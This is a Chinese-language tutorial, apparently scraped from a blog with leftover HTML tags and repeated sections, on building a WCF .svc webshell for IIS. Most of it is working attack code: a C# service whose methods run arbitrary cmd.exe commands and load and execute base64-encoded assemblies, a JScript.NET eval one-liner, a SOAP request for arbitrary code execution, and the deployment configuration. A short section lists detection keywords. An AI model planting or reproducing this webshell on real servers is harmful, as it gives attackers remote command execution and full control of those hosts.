基于.NET实现SVC一句话木马技术详解<\/h1>

0x01 前言<\/h2>
本文是探索.NET三驾马车实现一句话木马的完结篇，重点介绍基于WCF服务的SVC文件实现一句话木马的技术。前两篇分别介绍了ashx和asmx一句话木马，本文代码已同步至GitHub。<\/p>

0x02 WCF基础原理<\/h2>

WCF (Windows Communication Foundation) 是微软为构建面向服务的应用程序提供的统一编程模型，能够解决不同应用程序域、不同平台之间的通信问题。WCF统一了多种分布式技术：<\/p>

契约(ServiceContract)<\/strong>: 服务公开的公共接口，定义服务方法、传输协议、访问地址和消息格式<\/li>
地址(Address)<\/strong>: 服务的唯一访问地址<\/li>
绑定(Binding)<\/strong>: 定义服务与外部通信的方式<\/li>

终结点(EndPoint)<\/strong>: 由地址、绑定和契约组成，用于发送或接收消息<\/li> <\/ol>
WCF请求处理器是.NET Framework自带的ISAPI Extension，能够解析SOAP请求并生成SOAP应答。<\/p>
0x03 基础WCF服务示例<\/h2>
[ServiceContract]<\/span> <\/span><\/span>public<\/span> interface<\/span> IService1<\/span> <\/span><\/span>{ <\/span><\/span> [OperationContract]<\/span> <\/span><\/span> string<\/span> DoWork(); <\/span><\/span>} <\/span><\/span> <\/span><\/span>public<\/span> class<\/span> TestService<\/span> : IService1 <\/span><\/span>{ <\/span><\/span> public<\/span> string<\/span> DoWork() <\/span><\/span> { <\/span><\/span> return<\/span> DateTime.Now.ToString(); <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre> [ServiceContract]<\/code> 声明接口为契约<\/li> [OperationContract]<\/code> 声明方法为对外服务<\/li> <\/ul> 0x04 SVC木马实现步骤<\/h2> 文件整合<\/h3> 标准WCF项目包含三个文件：<\/p> Service1.svc<\/li> Service1.svc.cs<\/li> IService.cs<\/li> <\/ol> 实现木马需要将三部分整合到一个.svc文件中：<\/p> 将接口文件IService.cs代码合并到Service.svc.cs<\/li> 将Service1.svc.cs和Service1.svc合并<\/li> <\/ol> 功能实现代码<\/h3> <%@<\/span> ServiceHost Language="C#"<\/span> Debug="true"<\/span> Service="TestService"<\/span> CodeBehind="Service2.svc.cs"<\/span> %> <\/span><\/span> <\/span><\/span>using<\/span> System; <\/span><\/span>using<\/span> System.ServiceModel; <\/span><\/span>using<\/span> System.Web; <\/span><\/span>using<\/span> System.IO; <\/span><\/span> <\/span><\/span><\/span>[ServiceContract]<\/span> <\/span><\/span>public<\/span> interface<\/span> IService1<\/span> <\/span><\/span>{ <\/span><\/span> [OperationContract]<\/span> <\/span><\/span> string<\/span> cmdShell(string<\/span> cmd); <\/span><\/span> <\/span><\/span><\/span> [OperationContract]<\/span> <\/span><\/span> string<\/span> webShell(string<\/span> text); <\/span><\/span>} <\/span><\/span> <\/span><\/span>public<\/span> class<\/span> TestService<\/span> : IService1 <\/span><\/span>{ <\/span><\/span> public<\/span> string<\/span> cmdShell(string<\/span> cmd) <\/span><\/span> { <\/span><\/span> System.Diagnostics.Process p = new<\/span> System.Diagnostics.Process(); <\/span><\/span> p.StartInfo.FileName = "cmd.exe"<\/span>; <\/span><\/span> p.StartInfo.Arguments = "\/c "<\/span> + cmd; <\/span><\/span> p.StartInfo.UseShellExecute = false<\/span>; <\/span><\/span> p.StartInfo.RedirectStandardOutput = true<\/span>; <\/span><\/span> p.StartInfo.RedirectStandardError = true<\/span>; <\/span><\/span> p.StartInfo.CreateNoWindow = true<\/span>; <\/span><\/span> p.Start(); <\/span><\/span> return<\/span> p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd(); <\/span><\/span> } <\/span><\/span> <\/span><\/span> public<\/span> string<\/span> webShell(string<\/span> text) <\/span><\/span> { <\/span><\/span> if<\/span> (text != null<\/span>) <\/span><\/span> { <\/span><\/span> System.Reflection.Assembly ass = System.Reflection.Assembly.Load(Convert.FromBase64String(text)); <\/span><\/span> System.Reflection.MethodInfo method = ass.EntryPoint; <\/span><\/span> if<\/span> (method != null<\/span>) <\/span><\/span> { <\/span><\/span> object<\/span> o = ass.CreateInstance(method.Name); <\/span><\/span> method.Invoke(o, null<\/span>); <\/span><\/span> } <\/span><\/span> } <\/span><\/span> return<\/span> "OK"<\/span>; <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>部署与测试<\/h3> 部署到IIS7<\/li> 访问 http:\/\/IP\/service2.svc?singleWsdl<\/code> 查看WSDL定义<\/li> 使用SoapUI工具测试：下载SoapUI 5.2.1<\/li> 添加WSDL<\/li> 调用cmdShell或webShell方法<\/li> <\/ul> <\/li> <\/ol> 0x05 一句话木马实现<\/h2> Jscript.Net实现<\/h3> <%@ ServiceHost Language="JScript" Debug="true" Service="svcLessSpy" %> import System; import System.ServiceModel; import System.Web; [ServiceContract] public class svcLessSpy { [OperationContract] function exec(text : String) : String { eval(text); return "OK"; } } <\/code><\/pre> SOAP消息结构<\/h3> <soapenv:Envelope<\/span> xmlns:soapenv=<\/span>"http:\/\/schemas.xmlsoap.org\/soap\/envelope\/"<\/span> xmlns:tem=<\/span>"http:\/\/tempuri.org\/"<\/span>><\/span> <\/span><\/span> <soapenv:Header\/><\/span> <\/span><\/span> <soapenv:Body><\/span> <\/span><\/span> <tem:exec><\/span> <\/span><\/span> <tem:text><\/span>DateTime.Now.ToString()<\/tem:text><\/span> <\/span><\/span> <\/tem:exec><\/span> <\/span><\/span> <\/soapenv:Body><\/span> <\/span><\/span><\/soapenv:Envelope><\/span> <\/span><\/span><\/code><\/pre>关键点：<\/p> Envelope元素是SOAP消息根元素<\/li> Body包含传输数据<\/li> tem:exec和tem:text是应用专用元素<\/li> 修改tem:text内容可实现任意代码执行<\/li> <\/ul> web.config配置要求<\/h3> <system.serviceModel><\/span> <\/span><\/span> <behaviors><\/span> <\/span><\/span> <serviceBehaviors><\/span> <\/span><\/span> <behavior><\/span> <\/span><\/span> <serviceMetadata<\/span> httpGetEnabled=<\/span>"true"<\/span>\/><\/span> <\/span><\/span> <\/behavior><\/span> <\/span><\/span> <\/serviceBehaviors><\/span> <\/span><\/span> <\/behaviors><\/span> <\/span><\/span><\/system.serviceModel><\/span> <\/span><\/span><\/code><\/pre>必须配置httpGetEnabled=true<\/code>，否则会提示"元数据发布被禁用"错误。<\/p> 0x06 防御措施<\/h2> 代码安全：<\/p> 严格验证输入<\/li> 禁用危险函数<\/li> <\/ul> <\/li> IDS规则：<\/p> 检测上传内容中的关键词： OperationContractAttribute<\/li> ServiceContractAttribute<\/li> eval<\/li> 其他危险函数<\/li> <\/ul> <\/li> <\/ul> <\/li> <\/ol> 0x07 总结与展望<\/h2> SVC有替代ASMX的趋势，是微软主推的服务技术<\/li> 目前中国菜刀不支持SVC扩展，需要专用工具<\/li> 未来SVC木马可能被更多攻击者利用<\/li> <\/ol> 0x08 参考资源<\/h2> WCF入门教程<\/a><\/li> WCF基础知识<\/a><\/li> 示例代码：GitHub仓库<\/a><\/li> <\/ol>

基于.NET实现SVC一句话木马技术详解<\/h1>

0x01 前言<\/h2> 本文是探索.NET三驾马车实现一句话木马的完结篇，重点介绍基于WCF服务的SVC文件实现一句话木马的技术。前两篇分别介绍了ashx和asmx一句话木马，本文代码已同步至GitHub。<\/p>

0x04 SVC木马实现步骤<\/h2>

0x05 一句话木马实现<\/h2>

0x08 参考资源<\/h2> WCF入门教程<\/a><\/li> WCF基础知识<\/a><\/li> 示例代码：GitHub仓库<\/a><\/li> <\/ol>

0x01 前言<\/h2>
本文是探索.NET三驾马车实现一句话木马的完结篇，重点介绍基于WCF服务的SVC文件实现一句话木马的技术。前两篇分别介绍了ashx和asmx一句话木马，本文代码已同步至GitHub。<\/p>

0x08 参考资源<\/h2>

WCF入门教程<\/a><\/li>
WCF基础知识<\/a><\/li>
示例代码：GitHub仓库<\/a><\/li> <\/ol>